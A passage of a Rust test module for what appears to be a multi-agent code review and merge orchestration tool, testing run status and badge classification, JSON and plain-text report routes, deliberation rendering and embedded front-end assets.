21267        let sup: HashMap<String, String> = [(
21268            "20260902-140502-aaaa".to_owned(),
21269            "20260902-140502-cccc".to_owned(),
21270        )]
21271        .into();
21272
21273        let status_calls = std::cell::Cell::new(0);
21274        let identity_calls = std::cell::Cell::new(0);
21275        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
21276            |_| {
21277                status_calls.set(status_calls.get() + 1);
21278                Some(true)
21279            },
21280            |_| {
21281                identity_calls.set(identity_calls.get() + 1);
21282                Some("1790000000".to_owned())
21283            },
21284        ));
21285        let rows = summarize(
21286            states,
21287            &open,
21288            &claimed,
21289            &sup,
21290            |p| probe.borrow_mut().status(p),
21291            |p| probe.borrow_mut().started_at(p),
21292        );
21293
21294        assert_eq!(status_calls.get(), 1, "one pid, one status query");
21295        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
21296        assert_eq!(rows.len(), 4);
21297        assert!(!rows[0].waiting && rows[1].waiting);
21298        assert_eq!(rows[0].live, crate::run::Liveness::Live);
21299        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
21300        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
21301        assert_eq!(rows[1].superseded_by, None);
21302    }
21303
21304    #[test]
21305    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
21306        let mut state = RunState::new(
21307            PathBuf::from("/repo/magi"),
21308            "main".to_owned(),
21309            "0123456789abcdef".to_owned(),
21310            "Review only".to_owned(),
21311            Config::default(),
21312        );
21313        state.id = "20260922-090200-dead".to_owned();
21314        state.status = RunStatus::Reviewing;
21315        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
21316            .expect("serialize list row");
21317        assert_eq!(row["status"], "reviewing");
21318        assert_eq!(row["display_status"], "stale");
21319        assert_eq!(row["live"], "dead", "{row}");
21320        assert!(!row["done"].as_bool().unwrap());
21321    }
21322
21323    #[test]
21324    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
21325        use crate::run::Liveness::{Dead, Live, Unknown};
21326        let mut state = RunState::new(
21327            PathBuf::from("/repo/magi"),
21328            "main".to_owned(),
21329            "abc".to_owned(),
21330            "Review only".to_owned(),
21331            Config::default(),
21332        );
21333        for (status, parked, node, waiting, live, expected) in [
21334            (
21335                RunStatus::Judging,
21336                true,
21337                "github-text",
21338                false,
21339                Dead,
21340                "parked",
21341            ),
21342            (RunStatus::Judging, false, "park", false, Dead, "stale"),
21343            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
21344            (
21345                RunStatus::Judging,
21346                true,
21347                "github-text",
21348                true,
21349                Dead,
21350                "waiting",
21351            ),
21352            (
21353                RunStatus::Judging,
21354                false,
21355                "github-text",
21356                true,
21357                Dead,
21358                "waiting",
21359            ),
21360            (
21361                RunStatus::Judging,
21362                false,
21363                "github-text",
21364                false,
21365                Dead,
21366                "stale",
21367            ),
21368            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
21369            (RunStatus::Judging, true, "park", false, Live, "judging"),
21370            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
21371            (RunStatus::Merged, true, "park", false, Dead, "merged"),
21372            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
21373            (
21374                RunStatus::Blocked,
21375                true,
21376                "github-text",
21377                true,
21378                Dead,
21379                "waiting",
21380            ),
21381        ] {
21382            state.status = status;
21383            state.parked = parked;
21384            state.events.clear();
21385            state.event(
21386                "park",
21387                "an earlier park does not determine the latest state",
21388            );
21389            state.event(node, "message is not used for classification");
21390            let summary = RunSummary::of(&state, waiting, live);
21391            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
21392            assert_eq!(
21393                summary.display_status, expected,
21394                "{status:?}/{node}/{live:?}"
21395            );
21396            assert_eq!(detail.display_status, summary.display_status);
21397            assert_eq!(detail.waiting, summary.waiting);
21398        }
21399        state.status = RunStatus::Judging;
21400        state.parked = false;
21401        state.events.clear();
21402        assert_eq!(run_display_status(&state, false, Dead), "stale");
21403    }
21404
21405    #[test]
21406    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
21407        use crate::run::Liveness::{Dead, Live, Unknown};
21408        let mut state = RunState::new(
21409            PathBuf::from("/repo/magi"),
21410            "main".to_owned(),
21411            "abc".to_owned(),
21412            "Badge".to_owned(),
21413            Config::default(),
21414        );
21415        for (status, waiting, live, superseded, expected) in [
21416            (RunStatus::Gating, false, Dead, false, "stale"),
21417            (RunStatus::Gating, false, Dead, true, "superseded"),
21418            (RunStatus::Gating, false, Unknown, true, "superseded"),
21419            (RunStatus::Gating, true, Dead, true, "superseded"),
21420            (RunStatus::Gating, true, Dead, false, "waiting"),
21421            (RunStatus::Gating, false, Unknown, false, "gating"),
21422            (RunStatus::Gating, false, Live, true, "gating"),
21423            (RunStatus::Gating, true, Live, true, "waiting"),
21424            (RunStatus::Merged, false, Dead, true, "merged"),
21425            (RunStatus::Blocked, false, Dead, true, "blocked"),
21426        ] {
21427            state.status = status;
21428            let display = run_display_status(&state, waiting, live);
21429            assert_eq!(
21430                run_badge_status(&state, &display, live, superseded),
21431                expected,
21432                "{status:?}/{live:?}/superseded={superseded}"
21433            );
21434        }
21435    }
21436
21437    #[test]
21438    fn summarize_and_detail_expose_badge_status() {
21439        use crate::run::Liveness::Dead;
21440        let mut state = RunState::new(
21441            PathBuf::from("/repo/magi"),
21442            "main".to_owned(),
21443            "abc".to_owned(),
21444            "Badge".to_owned(),
21445            Config::default(),
21446        );
21447        state.status = RunStatus::Gating;
21448        let none = HashSet::new();
21449        let id = state.id.clone();
21450        let mut by = HashMap::new();
21451        let rows = summarize(
21452            [state.clone()],
21453            &none,
21454            &none,
21455            &by,
21456            |_| Some(false),
21457            |_| None,
21458        );
21459        // No driver recorded: liveness is not provably dead, so the node stays.
21460        assert_eq!(rows[0].badge_status, rows[0].display_status);
21461        by.insert(id, "20260901-000000-913b".to_owned());
21462        let detail = RunDetailView::of(
21463            state.clone(),
21464            false,
21465            Dead,
21466            Some("913b".to_owned()),
21467            None,
21468            None,
21469        );
21470        assert_eq!(detail.badge_status, "superseded");
21471        let json = serde_json::to_value(&detail).unwrap();
21472        assert_eq!(json["badge_status"], "superseded");
21473        let detail = RunDetailView::of(state, false, Dead, None, None, None);
21474        assert_eq!(detail.badge_status, "stale");
21475    }
21476
21477    #[tokio::test]
21478    async fn run_display_status_routes_share_the_open_question_store() {
21479        let f = Fixture::start().await;
21480        let id = "20260922-090200-abcd";
21481        write_run(&f.runs(), id, RunStatus::Judging);
21482        let mut state = read_run(&f.runs(), id).unwrap();
21483        state.parked = true;
21484        state.driver_exited = true;
21485        state.event("github-text", "waiting for the owner");
21486        state.save_under(f.home.path()).unwrap();
21487        let mut task = Task::new(
21488            "resumed task".to_owned(),
21489            "do it".to_owned(),
21490            PathBuf::from("/repo"),
21491            Source::Human,
21492        );
21493        task.runs = vec![id.to_owned(), id.to_owned()];
21494        f.queue().put(&mut task).unwrap();
21495        let store = f.questions();
21496        let mut q = Question::new(
21497            id.to_owned(),
21498            "github-text".to_owned(),
21499            "owner".to_owned(),
21500            "Approve the text?".to_owned(),
21501            String::new(),
21502            Vec::new(),
21503        );
21504        store.put(&mut q).unwrap();
21505        for expected in ["waiting", "parked"] {
21506            let list = f.get("/api/runs").await.json();
21507            let detail = f.get(&format!("/api/runs/{id}")).await.json();
21508            assert_eq!(list[0]["display_status"], expected);
21509            assert_eq!(detail["display_status"], expected);
21510            assert_eq!(detail["waiting"], list[0]["waiting"]);
21511            assert_eq!(list[0]["badge_status"], expected);
21512            assert_eq!(detail["badge_status"], expected);
21513            assert!(list[0]["superseded_by"].is_null());
21514            assert!(detail["superseded_by"].is_null());
21515            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
21516            let history = task_detail["history"].as_array().unwrap();
21517            assert_eq!(history.len(), 2);
21518            assert!(history[0]["badge"].is_null());
21519            assert_eq!(history[1]["badge"], expected);
21520            q.status = ask::QuestionStatus::Answered;
21521            store.put(&mut q).unwrap();
21522        }
21523    }
21524
21525    #[tokio::test]
21526    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
21527        let f = Fixture::start().await;
21528        let id = "20260922-090200-abcd";
21529        write_run(&f.runs(), id, RunStatus::Judging);
21530        let mut state = read_run(&f.runs(), id).unwrap();
21531        state.parked = true;
21532        state.driver_exited = true;
21533        state.event("park", "stopped at a node boundary");
21534        state.save_under(f.home.path()).unwrap();
21535
21536        for expected in ["parked", "stale"] {
21537            let list = f.get("/api/runs").await.json();
21538            let detail = f.get(&format!("/api/runs/{id}")).await.json();
21539            assert_eq!(list[0]["live"], "dead");
21540            assert_eq!(list[0]["display_status"], expected);
21541            assert_eq!(detail["display_status"], expected);
21542            // Model a driver claim followed by a crash before the next event:
21543            // the persisted flag changes, but the last event is still park.
21544            state.parked = false;
21545            state.save_under(f.home.path()).unwrap();
21546        }
21547    }
21548
21549    #[tokio::test]
21550    async fn the_run_list_is_newest_first_and_honours_a_limit() {
21551        let f = Fixture::start().await;
21552        for id in [
21553            "20260902-140501-aaaa",
21554            "20260902-140502-bbbb",
21555            "20260902-140503-cccc",
21556        ] {
21557            write_run(&f.runs(), id, RunStatus::Merged);
21558        }
21559
21560        let all = f.get("/api/runs").await.json();
21561        let capped = f.get("/api/runs?limit=2").await.json();
21562
21563        assert_eq!(all[0]["id"], "20260902-140503-cccc");
21564        assert_eq!(all.as_array().map(Vec::len), Some(3));
21565        assert_eq!(capped.as_array().map(Vec::len), Some(2));
21566        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
21567    }
21568
21569    #[tokio::test]
21570    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
21571        let f = Fixture::start().await;
21572        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
21573
21574        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
21575
21576        assert_eq!(res.status, 200);
21577        assert!(
21578            res.headers
21579                .contains("content-type: text/plain; charset=utf-8"),
21580            "a browser must render it, not download it: {}",
21581            res.headers
21582        );
21583        // The assertion is on content, not on the absence of escapes: colour
21584        // is a process-global that `serve` turns off at startup, and another
21585        // test in this binary may own it while this one runs.
21586        assert!(
21587            res.body.contains("20260902-140501-a1b2"),
21588            "the report is about the run that was asked for: {}",
21589            res.body
21590        );
21591    }
21592
21593    #[tokio::test]
21594    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
21595        // The view names the run's state directory, which reads the process-global home.
21596        crate::run::pin_test_home();
21597        let f = Fixture::start().await;
21598        let id = "20260902-140501-a1b2";
21599        write_run(&f.runs(), id, RunStatus::Stalled);
21600        // A stalled panel and one review round, written through the real
21601        // state file so the route reads what a run really leaves behind.
21602        let path = f.runs().join(id).join("run.json");
21603        let mut v: serde_json::Value =
21604            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21605        v["tally"] = serde_json::json!({
21606            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21607            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21608            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21609            "met_quorum": false, "rankings": 1
21610        });
21611        v["reviews"] = serde_json::json!([{
21612            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
21613            "e2e_deferred": true,
21614            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
21615                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
21616            ]}]
21617        }]);
21618        std::fs::write(&path, v.to_string()).unwrap();
21619        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
21620        std::fs::write(
21621            f.runs().join("20260902-140502-dead").join("run.json"),
21622            "{not json",
21623        )
21624        .unwrap();
21625
21626        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21627
21628        assert_eq!(res.status, 200, "{}", res.body);
21629        assert!(res.headers.contains("content-type: application/json"));
21630        let j = res.json();
21631        assert_eq!(j["schema"], 1);
21632        assert_eq!(j["header"]["id"], id);
21633        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
21634        let kinds: Vec<&str> = j["sections"]
21635            .as_array()
21636            .unwrap()
21637            .iter()
21638            .map(|s| s["kind"].as_str().unwrap())
21639            .collect();
21640        assert_eq!(kinds, ["candidates", "tally", "review"]);
21641        let tally = &j["sections"][1]["tally"];
21642        assert_eq!(
21643            (tally["decided"].clone(), tally["provisional"].clone()),
21644            (false.into(), true.into())
21645        );
21646        let round = &j["sections"][2]["rounds"][0];
21647        assert_eq!(round["e2e"]["state"], "deferred");
21648        assert_eq!(round["findings"][0]["severity"], "major");
21649        assert_eq!(round["findings"][0]["blocking"], true);
21650        assert_eq!(round["findings"][0]["state"], "open");
21651
21652        // The raw route keeps working beside it.
21653        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
21654
21655        // An unreadable run is an error, as on the text route, and is counted.
21656        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
21657        assert_ne!(bad.status, 200, "{}", bad.body);
21658        assert_eq!(
21659            bad.status,
21660            f.get("/api/runs/20260902-140502-dead/report").await.status
21661        );
21662        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
21663        assert_eq!(
21664            f.get("/api/runs/20260902-999999-ffff/report.json")
21665                .await
21666                .status,
21667            404
21668        );
21669    }
21670
21671    #[tokio::test]
21672    async fn sync_base_only_report_json_names_the_required_base_heads_and_verification() {
21673        crate::run::pin_test_home();
21674        let f = Fixture::start().await;
21675        let id = "20260902-140501-a1b2";
21676        write_run(&f.runs(), id, RunStatus::Blocked);
21677        let path = f.runs().join(id).join("run.json");
21678        let mut v: serde_json::Value =
21679            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21680        v["sync_only_passes"] = serde_json::json!([{
21681            "request": {"run": id, "at": "2026-09-02T14:05:01Z"},
21682            "pass_index": 0, "required_base": "origin/main", "tip": "base-sha",
21683            "head_before": "before-sha", "head_after": "after-sha",
21684            "result": "synchronized", "verification_allowed": false
21685        }]);
21686        std::fs::write(&path, v.to_string()).unwrap();
21687
21688        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21689        assert_eq!(res.status, 200, "{}", res.body);
21690        let json = res.json();
21691        let section = json["sections"]
21692            .as_array()
21693            .unwrap()
21694            .iter()
21695            .find(|s| s["key"] == "sync_only")
21696            .expect("base-only report section");
21697        let line = section["lines"][0].as_str().unwrap();
21698        assert!(line.contains("origin/main @ base-sha"), "{line}");
21699        assert!(line.contains("HEAD before-sha → after-sha"), "{line}");
21700        assert!(line.contains("verification was not allowed"), "{line}");
21701    }
21702
21703    #[tokio::test]
21704    async fn the_report_json_route_preserves_recovery_repair_release_and_final_review_facts() {
21705        crate::run::pin_test_home();
21706        let f = Fixture::start().await;
21707        let id = "20260902-140505-facts";
21708        write_run(&f.runs(), id, RunStatus::Stalled);
21709        let path = f.runs().join(id).join("run.json");
21710        let mut v: serde_json::Value =
21711            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21712        v["candidates"] = serde_json::json!([{
21713            "index": 0, "label": "A", "agent": "a", "branch": "a", "worktree": "/a",
21714            "empty": true, "folded": true, "summary": "Already covered.\nNo patch needed."
21715        }]);
21716        v["tally"] = serde_json::json!({
21717            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21718            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21719            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21720            "met_quorum": false, "rankings": 1
21721        });
21722        v["quota"] = serde_json::json!([
21723            {
21724                "seat": "judge-1", "node": "judge", "at": "2026-09-02T14:05:01Z",
21725                "agent": "signed-out", "cause": "authentication"
21726            },
21727            {"seat": "judge-2", "node": "judge", "at": "2026-09-02T14:05:01Z"}
21728        ]);
21729        v["startup"] = serde_json::json!({
21730            "kind": "review", "branch": "topic", "stage": "fetch", "complete": false,
21731            "failure": "fetch refused\ncredentials expired"
21732        });
21733        v["recovery"] = serde_json::json!({
21734            "from_run": "20260902-140501-a1b2", "generation": 1, "mode": "full-review",
21735            "reasons": ["head moved\nreview the new diff"], "criteria_inherited": true,
21736            "repair": {"started": {"before": "abcdef012345"}}
21737        });
21738        v["reviews"] = serde_json::json!([{
21739            "round": 1, "head": "abcdef012345", "answered": 1, "expected": 2,
21740            "verified_head": "fedcba9876543210", "verified_at": "2026-09-02T14:05:01Z",
21741            "vote_split": true, "verdict": "approve_with_findings",
21742            "e2e": [{
21743                "command": "cargo test", "code": 0, "duration_ms": 12, "output_tail": "ok"
21744            }],
21745            "reviews": [
21746                {"reviewer": 1, "agent": "reviewer", "vote": "reject",
21747                 "summary": "Initial **concern**.\n\nPlease inspect.",
21748                 "findings": [{"id": "R1-1-1", "severity": "minor", "title": "Check edge case"}]},
21749                {"reviewer": 2, "agent": "missing", "failed": "connection lost"}
21750            ],
21751            "reconsideration": [{
21752                "reviewer": 1, "agent": "reviewer", "vote": "approve_with_findings",
21753                "reason": "The blocker is resolved.\nOne minor issue remains."
21754            }]
21755        }]);
21756        v["merge_repairs"] = serde_json::json!([{
21757            "question": "question-42", "head": "abcdef012345",
21758            "pr": "https://example.test/pull/42", "reviews": v["reviews"].clone(),
21759            "gate": [], "phase": "Failed",
21760            "failure": "owner decision required\ninspect updated results"
21761        }]);
21762        v["bump_decision_attempts"] = serde_json::json!([
21763            {"agent": "first", "outcome": "unavailable"},
21764            {"agent": "second", "outcome": "patch\naccepted"}
21765        ]);
21766        v["release_bump"] = serde_json::json!({
21767            "version": "1.2.3", "local": true,
21768            "problem": "publish failed\nregistry refused",
21769            "release": {
21770                "version": "1.2.3", "commit": "fedcba9876543210", "tag_done": true, "done": 1,
21771                "failed": "registry refused\nawait owner approval",
21772                "log": [{
21773                    "name": "cargo publish", "code": 1,
21774                    "tail": "first output line\nsecond output line", "output": "/logs/publish.log"
21775                }]
21776            }
21777        });
21778        std::fs::write(&path, v.to_string()).unwrap();
21779
21780        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21781        assert_eq!(res.status, 200, "{}", res.body);
21782        let j = res.json();
21783        assert_eq!(j["schema"], 1);
21784        assert_eq!(j["header"]["tone"], "warn");
21785        assert_eq!(
21786            j["header"]["startup"],
21787            "review branch=topic stage=fetch complete=false"
21788        );
21789        assert_eq!(
21790            j["header"]["startup_failure"],
21791            "fetch refused\ncredentials expired"
21792        );
21793        assert_eq!(j["sections"][0]["items"][0]["state"], "no_change");
21794        assert_eq!(
21795            j["sections"][0]["items"][0]["detail"],
21796            "Already covered.\nNo patch needed."
21797        );
21798        assert_eq!(
21799            j["sections"][1]["tally"]["rate_limited"],
21800            serde_json::json!(["judge-1", "judge-2"])
21801        );
21802        let sections = j["sections"].as_array().unwrap();
21803        let labels: Vec<_> = sections
21804            .iter()
21805            .map(|section| {
21806                section["key"]
21807                    .as_str()
21808                    .or_else(|| section["kind"].as_str())
21809                    .unwrap()
21810            })
21811            .collect();
21812        assert_eq!(
21813            labels,
21814            [
21815                "candidates",
21816                "tally",
21817                "quota_details",
21818                "recovery",
21819                "review",
21820                "merge_repairs",
21821                "release_decision_attempts",
21822                "release_bump",
21823                "release_execution"
21824            ]
21825        );
21826        let note = |key: &str| {
21827            sections
21828                .iter()
21829                .find(|section| section["kind"] == "notes" && section["key"] == key)
21830                .unwrap()
21831        };
21832        let unavailable = note("quota_details");
21833        assert_eq!(unavailable["tone"], "warn");
21834        assert_eq!(
21835            unavailable["lines"],
21836            serde_json::json!([
21837                "judge-1 (signed-out: re-authenticate)",
21838                "judge-2 (usage limit)"
21839            ])
21840        );
21841        let recovery = note("recovery");
21842        assert_eq!(recovery["tone"], "warn");
21843        assert!(
21844            recovery["lines"][0]
21845                .as_str()
21846                .unwrap()
21847                .contains("head moved\nreview the new diff")
21848        );
21849        assert_eq!(
21850            recovery["lines"][1],
21851            "the task's own completion criteria were kept"
21852        );
21853        assert_eq!(recovery["lines"][2], "repair: unfinished");
21854        let review = sections
21855            .iter()
21856            .find(|section| section["kind"] == "review")
21857            .unwrap();
21858        assert_eq!(review["tone"], "warn", "missing input cannot look settled");
21859        let round = &review["rounds"][0];
21860        assert_eq!(round["verified_head"], "fedcba9");
21861        assert_eq!(round["verified_at"], "2026-09-02T14:05:01Z");
21862        assert_eq!(round["status"], "incomplete");
21863        assert_eq!(round["e2e"]["state"], "pass");
21864        assert_eq!(round["reviewers"][0]["vote"], "reject");
21865        assert_eq!(round["reviewers"][0]["final_vote"], "approve_with_findings");
21866        assert_eq!(
21867            round["reviewers"][0]["reason"],
21868            "Initial **concern**.\n\nPlease inspect."
21869        );
21870        assert!(
21871            !round["reviewers"][0]["reason_md"]
21872                .as_array()
21873                .unwrap()
21874                .is_empty()
21875        );
21876        assert!(round["reviewers"][1]["final_vote"].is_null());
21877        assert_eq!(round["reviewers"][1]["failed"], "connection lost");
21878        assert_eq!(
21879            round["reconsideration"][0]["reason"],
21880            "The blocker is resolved.\nOne minor issue remains."
21881        );
21882        assert!(
21883            !round["reconsideration"][0]["reason_md"]
21884                .as_array()
21885                .unwrap()
21886                .is_empty()
21887        );
21888        let repairs = note("merge_repairs");
21889        assert_eq!(repairs["tone"], "warn");
21890        assert_eq!(
21891            repairs["lines"][0],
21892            "question question-42  head abcdef012345  Failed\nhttps://example.test/pull/42"
21893        );
21894        assert_eq!(
21895            repairs["lines"][1],
21896            "held: owner decision required\ninspect updated results"
21897        );
21898        assert_eq!(
21899            repairs["lines"][2],
21900            "original [R1-1-1] Minor: Check edge case"
21901        );
21902        assert_eq!(
21903            repairs["lines"][3],
21904            "original reviewer #1: ApproveWithFindings"
21905        );
21906        assert_eq!(
21907            repairs["lines"][4],
21908            "Repair never approves a merge; updated results require a fresh owner decision."
21909        );
21910        let attempts = note("release_decision_attempts");
21911        assert_eq!(attempts["tone"], "neutral");
21912        assert_eq!(
21913            attempts["lines"],
21914            serde_json::json!(["1. first: unavailable", "2. second: patch\naccepted"])
21915        );
21916        let bump = sections
21917            .iter()
21918            .find(|section| section["kind"] == "release_bump")
21919            .unwrap();
21920        assert_eq!(bump["bump"]["automerge"], "local");
21921        assert_eq!(bump["bump"]["problem"], "publish failed\nregistry refused");
21922        assert_eq!(bump["tone"], "warn");
21923        let execution = note("release_execution");
21924        assert_eq!(execution["tone"], "warn");
21925        assert_eq!(
21926            execution["lines"][0],
21927            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21928        );
21929        assert_eq!(
21930            execution["lines"][1],
21931            "tag on remote: true; 1 command(s) completed"
21932        );
21933        assert_eq!(
21934            execution["lines"][2],
21935            "cargo publish (exit 1) output /logs/publish.log\nfirst output line\nsecond output line"
21936        );
21937
21938        // The original endpoint remains terminal text, including these same facts.
21939        let raw = f.get(&format!("/api/runs/{id}/report")).await;
21940        assert_eq!(raw.status, 200);
21941        assert!(
21942            raw.headers
21943                .contains("content-type: text/plain; charset=utf-8")
21944        );
21945        assert!(raw.body.contains("fetch refused\ncredentials expired"));
21946        assert!(raw.body.contains("Already covered."));
21947        assert!(raw.body.contains("judge-1 (signed-out: re-authenticate)"));
21948        assert!(raw.body.contains("judge-2 (usage limit)"));
21949        assert!(
21950            raw.body
21951                .contains("owner decision required\ninspect updated results")
21952        );
21953        assert!(raw.body.contains("2. second: patch\naccepted"));
21954        assert!(raw.body.contains(
21955            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21956        ));
21957
21958        // Historical records do not acquire invented startup or verification facts.
21959        let legacy_id = "20260902-140506-old";
21960        write_run(&f.runs(), legacy_id, RunStatus::Stalled);
21961        let legacy = f.get(&format!("/api/runs/{legacy_id}/report.json")).await;
21962        assert_eq!(legacy.status, 200, "{}", legacy.body);
21963        let legacy = legacy.json();
21964        assert!(legacy["header"]["startup"].is_null());
21965        assert!(legacy["header"]["startup_failure"].is_null());
21966        assert!(
21967            legacy["sections"]
21968                .as_array()
21969                .unwrap()
21970                .iter()
21971                .all(|section| section["kind"] != "notes")
21972        );
21973    }
21974
21975    #[tokio::test]
21976    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
21977        crate::run::pin_test_home();
21978        let f = Fixture::start().await;
21979        let id = "20260902-140503-delib";
21980        write_run(&f.runs(), id, RunStatus::Merged);
21981        let path = f.runs().join(id).join("run.json");
21982        let mut v: serde_json::Value =
21983            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21984        v["judgements"] = serde_json::json!([
21985            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21986        ]);
21987        v["tally"] = serde_json::json!({
21988            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21989            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
21990            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
21991            "met_quorum": true, "rankings": 1
21992        });
21993        v["deliberation"] = serde_json::json!([
21994            {
21995                "round": 1,
21996                "turns": [
21997                    {
21998                        "judge": 1,
21999                        "agent": "judge-1",
22000                        "body": "I prefer candidate **A** because it has cleaner tests.",
22001                        "tentative": "A"
22002                    }
22003                ]
22004            },
22005            {
22006                "round": 2,
22007                "turns": [
22008                    {
22009                        "judge": 1,
22010                        "agent": "judge-1",
22011                        "body": "Still thinking, no choice yet.",
22012                        "tentative": null
22013                    }
22014                ]
22015            }
22016        ]);
22017        std::fs::write(&path, v.to_string()).unwrap();
22018
22019        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
22020        assert_eq!(res.status, 200, "{}", res.body);
22021        let j = res.json();
22022        let judging = j["sections"]
22023            .as_array()
22024            .unwrap()
22025            .iter()
22026            .find(|s| s["kind"] == "judging")
22027            .expect("judging section exists");
22028
22029        // Existing summary lines remain intact
22030        let delib_lines = judging["deliberation"].as_array().unwrap();
22031        assert_eq!(delib_lines.len(), 2);
22032        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
22033        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
22034
22035        // rounds carry turn bodies, tentative and parsed body_md
22036        let rounds = judging["rounds"].as_array().unwrap();
22037        assert_eq!(rounds.len(), 2);
22038        let r1_t0 = &rounds[0]["turns"][0];
22039        assert_eq!(r1_t0["judge"], 1);
22040        assert_eq!(r1_t0["agent"], "judge-1");
22041        assert_eq!(r1_t0["tentative"], "A");
22042        assert_eq!(
22043            r1_t0["body"],
22044            "I prefer candidate **A** because it has cleaner tests."
22045        );
22046        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
22047
22048        let r2_t0 = &rounds[1]["turns"][0];
22049        assert_eq!(r2_t0["judge"], 1);
22050        assert_eq!(r2_t0["agent"], "judge-1");
22051        assert!(r2_t0["tentative"].is_null());
22052        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
22053        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
22054
22055        // A run with empty deliberation array yields empty rounds
22056        let id_empty = "20260902-140504-nodelib";
22057        write_run(&f.runs(), id_empty, RunStatus::Merged);
22058        let path_empty = f.runs().join(id_empty).join("run.json");
22059        let mut v_empty: serde_json::Value =
22060            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
22061        v_empty["judgements"] = serde_json::json!([
22062            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
22063        ]);
22064        v_empty["deliberation"] = serde_json::json!([]);
22065        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
22066
22067        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
22068        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
22069        let j_empty = res_empty.json();
22070        let judging_empty = j_empty["sections"]
22071            .as_array()
22072            .unwrap()
22073            .iter()
22074            .find(|s| s["kind"] == "judging")
22075            .expect("judging section exists");
22076        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
22077    }
22078
22079    #[tokio::test]
22080    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
22081        let f = Fixture::start().await;
22082
22083        let html = f.get("/").await;
22084        let css = f.get("/app.css").await;
22085        let js = f.get("/app.js").await;
22086
22087        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
22088        assert!(
22089            html.headers
22090                .contains("content-type: text/html; charset=utf-8")
22091        );
22092        assert!(css.headers.contains("content-type: text/css"));
22093        assert!(js.headers.contains("content-type: text/javascript"));
22094        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
22095    }
22096
22097    #[test]
22098    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
22099        let body = |name: &str| {
22100            let at = APP_JS
22101                .find(name)
22102                .unwrap_or_else(|| panic!("{name} missing"));
22103            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
22104        };
22105        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
22106        let note = body("function landRoundNote");
22107        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
22108        assert!(note.contains("Land round ${round}"));
22109        let land = body("function renderLand");
22110        let note_at = land
22111            .find("landRoundNote(pr)")
22112            .expect("renderLand uses the note");
22113        assert!(
22114            note_at
22115                < land
22116                    .find("roundRail(pr)")
22117                    .expect("renderLand uses the rail")
22118        );
22119    }
22120
22121    #[test]
22122    fn the_runs_page_redesign_keeps_its_guards() {
22123        let body = |name: &str| {
22124            let at = APP_JS
22125                .find(name)
22126                .unwrap_or_else(|| panic!("{name} missing"));
22127            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
22128        };
22129        // A null child must never reach the native append (it prints "null").
22130        let land = body("function renderLand");
22131        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
22132        assert!(
22133            !land.contains("box.append("),
22134            "renderLand must use append()"
22135        );
